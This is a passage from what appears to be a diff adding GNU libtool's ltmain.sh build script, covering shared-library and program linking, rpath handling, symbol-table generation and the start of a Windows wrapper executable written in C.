= yes; then + $echo + $echo "*** Warning: libtool could not satisfy all declared inter-library" + $echo "*** dependencies of module $libname. Therefore, libtool will create" + $echo "*** a static module, that should work as long as the dlopening" + $echo "*** application is linked with the -dlopen flag." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + else + $echo "*** The inter-library dependencies that have been dropped here will be" + $echo "*** automatically added whenever a program is linked with this library" + $echo "*** or is declared to -dlopen it." + + if test "$allow_undefined" = no; then + $echo + $echo "*** Since this library must not contain undefined symbols," + $echo "*** because either the platform does not support them or" + $echo "*** it was explicitly requested with -no-undefined," + $echo "*** libtool will only create a static version of it." + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + fi + fi + # Done checking deplibs! + deplibs=$newdeplibs + fi + + # All the library-specific variables (install_libdir is set above). + library_names= + old_library= + dlname= + + # Test again, we may have decided not to build it any more + if test "$build_libtool_libs" = yes; then + if test "$hardcode_into_libs" = yes; then + # Hardcode the library paths + hardcode_libdirs= + dep_rpath= + rpath="$finalize_rpath" + test "$mode" != relink && rpath="$compile_rpath$rpath" + for libdir in $rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + dep_rpath="$dep_rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + if test -n "$hardcode_libdir_flag_spec_ld"; then + eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\" + else + eval dep_rpath=\"$hardcode_libdir_flag_spec\" + fi + fi + if test -n "$runpath_var" && test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" + fi + test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" + fi + + shlibpath="$finalize_shlibpath" + test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath" + if test -n "$shlibpath"; then + eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" + fi + + # Get the real and link names of the library. + eval shared_ext=\"$shrext_cmds\" + eval library_names=\"$library_names_spec\" + set dummy $library_names + realname="$2" + shift; shift + + if test -n "$soname_spec"; then + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + if test -z "$dlname"; then + dlname=$soname + fi + + lib="$output_objdir/$realname" + for link + do + linknames="$linknames $link" + done + + # Use standard objects if they are pic + test -z "$pic_flag" && libobjs=`$echo "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + cmds=$export_symbols_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + if len=`expr "X$cmd" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + $show "$cmd" + $run eval "$cmd" || exit $? + skipped_export=false + else + # The command line is too long to execute in one step. + $show "using reloadable object file for export list..." + skipped_export=: + fi + done + IFS="$save_ifs" + if test -n "$export_symbols_regex"; then + $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\" > \"${export_symbols}T\"" + $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' + $show "$mv \"${export_symbols}T\" \"$export_symbols\"" + $run eval '$mv "${export_symbols}T" "$export_symbols"' + fi + fi + fi + + if test -n "$export_symbols" && test -n "$include_expsyms"; then + $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols"' + fi + + tmp_deplibs= + for test_deplib in $deplibs; do + case " $convenience " in + *" $test_deplib "*) ;; + *) + tmp_deplibs="$tmp_deplibs $test_deplib" + ;; + esac + done + deplibs="$tmp_deplibs" + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + libobjs="$libobjs $func_extract_archives_result" + fi + fi + + if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then + eval flag=\"$thread_safe_flag_spec\" + linker_flags="$linker_flags $flag" + fi + + # Make a backup of the uninstalled library when relinking + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realname ${realname}U)' || exit $? + fi + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + eval test_cmds=\"$module_expsym_cmds\" + cmds=$module_expsym_cmds + else + eval test_cmds=\"$module_cmds\" + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + eval test_cmds=\"$archive_expsym_cmds\" + cmds=$archive_expsym_cmds + else + eval test_cmds=\"$archive_cmds\" + cmds=$archive_cmds + fi + fi + + if test "X$skipped_export" != "X:" && len=`expr "X$test_cmds" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + : + else + # The command line is too long to link in one step, link piecewise. + $echo "creating reloadable object files..." + + # Save the value of $output and $libobjs because we want to + # use them later. If we have whole_archive_flag_spec, we + # want to use save_libobjs as it was before + # whole_archive_flag_spec was expanded, because we can't + # assume the linker understands whole_archive_flag_spec. + # This may have to be revisited, in case too many + # convenience libraries get linked in and end up exceeding + # the spec. + if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + fi + save_output=$output + + # Clear the reloadable object creation command queue and + # initialize k to one. + test_cmds= + concat_cmds= + objlist= + delfiles= + last_robj= + k=1 + output=$output_objdir/$save_output-${k}.$objext + # Loop over the list of objects to be linked. + for obj in $save_libobjs + do + eval test_cmds=\"$reload_cmds $objlist $last_robj\" + if test "X$objlist" = X || + { len=`expr "X$test_cmds" : ".*"` && + test "$len" -le "$max_cmd_len"; }; then + objlist="$objlist $obj" + else + # The command $test_cmds is almost too long, add a + # command to the queue. + if test "$k" -eq 1 ; then + # The first file doesn't have a previous command to add. + eval concat_cmds=\"$reload_cmds $objlist $last_robj\" + else + # All subsequent reloadable object files will link in + # the last one created. + eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\" + fi + last_robj=$output_objdir/$save_output-${k}.$objext + k=`expr $k + 1` + output=$output_objdir/$save_output-${k}.$objext + objlist=$obj + len=1 + fi + done + # Handle the remaining objects by creating one last + # reloadable object file. All subsequent reloadable object + # files will link in the last one created. + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\" + + if ${skipped_export-false}; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + libobjs=$output + # Append the command to create the export file. + eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\" + fi + + # Set up a command to remove the reloadale object files + # after they are used. + i=0 + while test "$i" -lt "$k" + do + i=`expr $i + 1` + delfiles="$delfiles $output_objdir/$save_output-${i}.$objext" + done + + $echo "creating a temporary reloadable object file: $output" + + # Loop through the commands generated above and execute them. + save_ifs="$IFS"; IFS='~' + for cmd in $concat_cmds; do + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + libobjs=$output + # Restore the value of output. + output=$save_output + + if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + fi + # Expand the library linking commands again to reset the + # value of $libobjs for piecewise linking. + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + cmds=$module_expsym_cmds + else + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + cmds=$archive_expsym_cmds + else + cmds=$archive_cmds + fi + fi + + # Append the command to remove the reloadable object files + # to the just-reset $cmds. + eval cmds=\"\$cmds~\$rm $delfiles\" + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realname ${realname}T && $mv "$realname"U $realname)' || exit $? + exit $EXIT_SUCCESS + fi + + # Create links to the real library. + for linkname in $linknames; do + if test "$realname" != "$linkname"; then + $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)" + $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)' || exit $? + fi + done + + # If -module or -export-dynamic was specified, set the dlname. + if test "$module" = yes || test "$export_dynamic" = yes; then + # On all known operating systems, these are identical. + dlname="$soname" + fi + fi + ;; + + obj) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for objects" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for objects" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for objects" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for objects" 1>&2 + fi + + case $output in + *.lo) + if test -n "$objs$old_deplibs"; then + $echo "$modename: cannot build library object \`$output' from non-libtool objects" 1>&2 + exit $EXIT_FAILURE + fi + libobj="$output" + obj=`$echo "X$output" | $Xsed -e "$lo2o"` + ;; + *) + libobj= + obj="$output" + ;; + esac + + # Delete the old objects. + $run $rm $obj $libobj + + # Objects from convenience libraries. This assumes + # single-version convenience libraries. Whenever we create + # different ones for PIC/non-PIC, this we'll have to duplicate + # the extraction. + reload_conv_objs= + gentop= + # reload_cmds runs $LD directly, so let us get rid of + # -Wl from whole_archive_flag_spec + wl= + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${obj}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + reload_conv_objs="$reload_objs $func_extract_archives_result" + fi + fi + + # Create the old-style object. + reload_objs="$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test + + output="$obj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + # Exit if we aren't doing a library object file. + if test -z "$libobj"; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + fi + + if test "$build_libtool_libs" != yes; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + # Create an invalid libtool object if no PIC, so that we don't + # accidentally link it into a program. + # $show "echo timestamp > $libobj" + # $run eval "echo timestamp > $libobj" || exit $? + exit $EXIT_SUCCESS + fi + + if test -n "$pic_flag" || test "$pic_mode" != default; then + # Only do commands if we really have different PIC objects. + reload_objs="$libobjs $reload_conv_objs" + output="$libobj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + ;; + + prog) + case $host in + *cygwin*) output=`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'` ;; + esac + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for programs" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for programs" 1>&2 + fi + + if test "$preload" = yes; then + if test "$dlopen_support" = unknown && test "$dlopen_self" = unknown && + test "$dlopen_self_static" = unknown; then + $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assuming no dlopen support." + fi + fi + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + compile_deplibs=`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + finalize_deplibs=`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + case $host in + *darwin*) + # Don't allow lazy linking, it breaks C++ global constructors + if test "$tagname" = CXX ; then + compile_command="$compile_command ${wl}-bind_at_load" + finalize_command="$finalize_command ${wl}-bind_at_load" + fi + ;; + esac + + compile_command="$compile_command $compile_deplibs" + finalize_command="$finalize_command $finalize_deplibs" + + if test -n "$rpath$xrpath"; then + # If the user specified any rpath flags, then add them. + for libdir in $rpath $xrpath; do + # This is the magic to use -rpath. + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + fi + + # Now hardcode the library paths + rpath= + hardcode_libdirs= + for libdir in $compile_rpath $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + case :$dllsearchpath: in + *":$libdir:"*) ;; + *) dllsearchpath="$dllsearchpath:$libdir";; + esac + ;; + esac + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + compile_rpath="$rpath" + + rpath= + hardcode_libdirs= + for libdir in $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$finalize_perm_rpath " in + *" $libdir "*) ;; + *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + finalize_rpath="$rpath" + + if test -n "$libobjs" && test "$build_old_libs" = yes; then + # Transform all the library objects into standard objects. + compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + fi + + dlsyms= + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + if test -n "$NM" && test -n "$global_symbol_pipe"; then + dlsyms="${outputname}S.c" + else + $echo "$modename: not configured to extract global symbols from dlpreopened files" 1>&2 + fi + fi + + if test -n "$dlsyms"; then + case $dlsyms in + "") ;; + *.c) + # Discover the nlist of each of the dlfiles. + nlist="$output_objdir/${outputname}.nm" + + $show "$rm $nlist ${nlist}S ${nlist}T" + $run $rm "$nlist" "${nlist}S" "${nlist}T" + + # Parse the name list into a source file. + $show "creating $output_objdir/$dlsyms" + + test -z "$run" && $echo > "$output_objdir/$dlsyms" "\ +/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulation. */ +/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */ + +#ifdef __cplusplus +extern \"C\" { +#endif + +/* Prevent the only kind of declaration conflicts we can make. */ +#define lt_preloaded_symbols some_other_symbol + +/* External symbol declarations for the compiler. */\ +" + + if test "$dlself" = yes; then + $show "generating symbol list for \`$output'" + + test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist" + + # Add our own program objects to the symbol list. + progfiles=`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + for arg in $progfiles; do + $show "extracting global C symbols from \`$arg'" + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -n "$exclude_expsyms"; then + $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + if test -n "$export_symbols_regex"; then + $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + export_symbols="$output_objdir/$output.exp" + $run $rm $export_symbols + $run eval "${SED} -n -e '/^: @PROGRAM@$/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' + else + $run eval "${SED} -e 's/\([][.*^$]\)/\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$output.exp"' + $run eval 'grep -f "$output_objdir/$output.exp" < "$nlist" > "$nlist"T' + $run eval 'mv "$nlist"T "$nlist"' + fi + fi + + for arg in $dlprefiles; do + $show "extracting global C symbols from \`$arg'" + name=`$echo "$arg" | ${SED} -e 's%^.*/%%'` + $run eval '$echo ": $name " >> "$nlist"' + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -z "$run"; then + # Make sure we have at least an empty file. + test -f "$nlist" || : > "$nlist" + + if test -n "$exclude_expsyms"; then + $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T + $mv "$nlist"T "$nlist" + fi + + # Try sorting and uniquifying the output. + if grep -v "^: " < "$nlist" | + if sort -k 3 </dev/null >/dev/null 2>&1; then + sort -k 3 + else + sort +2 + fi | + uniq > "$nlist"S; then + : + else + grep -v "^: " < "$nlist" > "$nlist"S + fi + + if test -f "$nlist"S; then + eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$dlsyms"' + else + $echo '/* NONE */' >> "$output_objdir/$dlsyms" + fi + + $echo >> "$output_objdir/$dlsyms" "\ + +#undef lt_preloaded_symbols + +#if defined (__STDC__) && __STDC__ +# define lt_ptr void * +#else +# define lt_ptr char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr address; +} +lt_preloaded_symbols[] = +{\ +" + + eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$dlsyms" + + $echo >> "$output_objdir/$dlsyms" "\ + {0, (lt_ptr) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif\ +" + fi + + pic_flag_for_symtable= + case $host in + # compiling the symbol table file with pic_flag works around + # a FreeBSD bug that causes programs to crash when -lm is + # linked before any other PIC object. But we must not use + # pic_flag when linking with -static. The problem exists in + # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. + *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND";; + esac;; + *-*-hpux*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag";; + esac + esac + + # Now compile the dynamic symbol file. + $show "(cd $output_objdir && $LTCC -c$no_builtin_flag$pic_flag_for_symtable \"$dlsyms\")" + $run eval '(cd $output_objdir && $LTCC -c$no_builtin_flag$pic_flag_for_symtable "$dlsyms")' || exit $? + + # Clean up the generated files. + $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T" + $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T" + + # Transform the symbol file into the correct name. + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + ;; + *) + $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + else + # We keep going just in case the user didn't refer to + # lt_preloaded_symbols. The linker will fail if global_symbol_pipe + # really was required. + + # Nullify the symbol file. + compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"` + fi + + if test "$need_relink" = no || test "$build_libtool_libs" != yes; then + # Replace the output file specification. + compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` + link_command="$compile_command$compile_rpath" + + # We have no uninstalled library dependencies, so finalize right now. + $show "$link_command" + $run eval "$link_command" + status=$? + + # Delete the generated files. + if test -n "$dlsyms"; then + $show "$rm $output_objdir/${outputname}S.${objext}" + $run $rm "$output_objdir/${outputname}S.${objext}" + fi + + exit $status + fi + + if test -n "$shlibpath_var"; then + # We should set the shlibpath_var + rpath= + for dir in $temp_rpath; do + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) + # Absolute path. + rpath="$rpath$dir:" + ;; + *) + # Relative path: add a thisdir entry. + rpath="$rpath\$thisdir/$dir:" + ;; + esac + done + temp_rpath="$rpath" + fi + + if test -n "$compile_shlibpath$finalize_shlibpath"; then + compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" + fi + if test -n "$finalize_shlibpath"; then + finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" + fi + + compile_var= + finalize_var= + if test -n "$runpath_var"; then + if test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + compile_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + if test -n "$finalize_perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $finalize_perm_rpath; do + rpath="$rpath$dir:" + done + finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + fi + + if test "$no_install" = yes; then + # We don't need to create a wrapper script. + link_command="$compile_var$compile_command$compile_rpath" + # Replace the output file specification. + link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` + # Delete the old output file. + $run $rm $output + # Link the executable and exit + $show "$link_command" + $run eval "$link_command" || exit $? + exit $EXIT_SUCCESS + fi + + if test "$hardcode_action" = relink; then + # Fast installation is not supported + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + + $echo "$modename: warning: this platform does not like uninstalled shared libraries" 1>&2 + $echo "$modename: \`$output' will be relinked during installation" 1>&2 + else + if test "$fast_install" != no; then + link_command="$finalize_var$compile_command$finalize_rpath" + if test "$fast_install" = yes; then + relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'` + else + # fast_install is set to needless + relink_command= + fi + else + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + fi + fi + + # Replace the output file specification. + link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` + + # Delete the old output files. + $run $rm $output $output_objdir/$outputname $output_objdir/lt-$outputname + + $show "$link_command" + $run eval "$link_command" || exit $? + + # Now create the wrapper script. + $show "creating $output" + + # Quote the relink command for shipping. + if test -n "$relink_command"; then + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + relink_command="(cd `pwd`; $relink_command)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + fi + + # Quote $echo for shipping. + if test "X$echo" = "X$SHELL $progpath --fallback-echo"; then + case $progpath in + [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";; + *) qecho="$SHELL `pwd`/$progpath --fallback-echo";; + esac + qecho=`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"` + else + qecho=`$echo "X$echo" | $Xsed -e "$sed_quote_subst"` + fi + + # Only actually do things if our run command is non-null. + if test -z "$run"; then + # win32 will think the script is a binary if it has + # a .exe suffix, so we strip it off here. + case $output in + *.exe) output=`$echo $output|${SED} 's,.exe$,,'` ;; + esac + # test for cygwin because mv fails w/o .exe extensions + case $host in + *cygwin*) + exeext=.exe + outputname=`$echo $outputname|${SED} 's,.exe$,,'` ;; + *) exeext= ;; + esac + case $host in + *cygwin* | *mingw* ) + cwrappersource=`$echo ${objdir}/lt-${output}.c` + cwrapper=`$echo ${output}.exe` + $rm $cwrappersource $cwrapper + trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 + + cat > $cwrappersource <<EOF + +/* $cwrappersource - temporary wrapper executable for $objdir/$outputname + Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP + + The $output program cannot be directly executed until all the libtool + libraries that it depends on are installed. + + This wrapper executable should never be moved out of the build directory. + If it is, it will not operate correctly. + + Currently, it simply execs the wrapper *script* "/bin/sh $output", + but could eventually absorb all of the scripts functionality and + exec $objdir/$outputname directly. +*/ +EOF + cat >> $cwrappersource<<"EOF" +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <malloc.h> +#include <stdarg.h> +#include <assert.h> + +#if defined(PATH_MAX) +# define LT_PATHMAX PATH_MAX +#elif defined(MAXPATHLEN) +# define LT_PATHMAX MAXPATHLEN +#else +# define LT_PATHMAX 1024 +#endif + +#ifndef DIR_SEPARATOR +#define DIR_SEPARATOR '/' +#endif + +#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ + defined (__OS2__) +#define HAVE_DOS_BASED_FILE_SYSTEM +#ifndef DIR_SEPARATOR_2 +#define DIR_SEPARATOR_2 '\\' +#endif +#endif + +#ifndef DIR_SEPARATOR_2 +# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) +#else /* DIR_SEPARATOR_2 */ +# define IS_DIR_SEPARATOR(ch) \ + (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) +#endif /* DIR_SEPARATOR_2 */ + +#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) +#define XFREE(stale) do { \ + if (stale) { free ((void *) stale); stale = 0; } \ +} while (0) + +const char *program_name = NULL; + +void * xmalloc (size_t num); +char * xstrdup (const char *string); +char * basename (const char *name); +char * fnqualify(const char *path); +char * strendzap(char *str, const char *pat); +void lt_fatal (const char *message, ...); + +int +main (int argc, char *argv[]) +{ + char **newargz; + int i; + + program_name = (char *) xstrdup ((char *) basename (argv[0])); + newargz = XMALLOC(char *, argc+2); +EOF + + cat >> $cwrappersource <<EOF + newargz[0] = "$SHELL"; +EOF + + cat >> $cwrappersource <<"EOF" + newargz[1] = fnqualify(argv[0]); + /* we know the script has the same name, without the .exe */ + /* so make sure newargz[1] doesn't end in .exe */ + strendzap(newargz[1],".exe"); + for (i = 1; i < argc; i++) + newargz[i+1] = xstrdup(argv[i]); + newargz[argc+1] = NULL; +EOF + + cat >> $cwrappersource <<EOF + execv("$SHELL",newargz); +EOF + + cat >> $cwrappersource <<"EOF" +} + +void * +xmalloc (size_t num) +{ + void * p = (void *) malloc (num); + if (!p) + 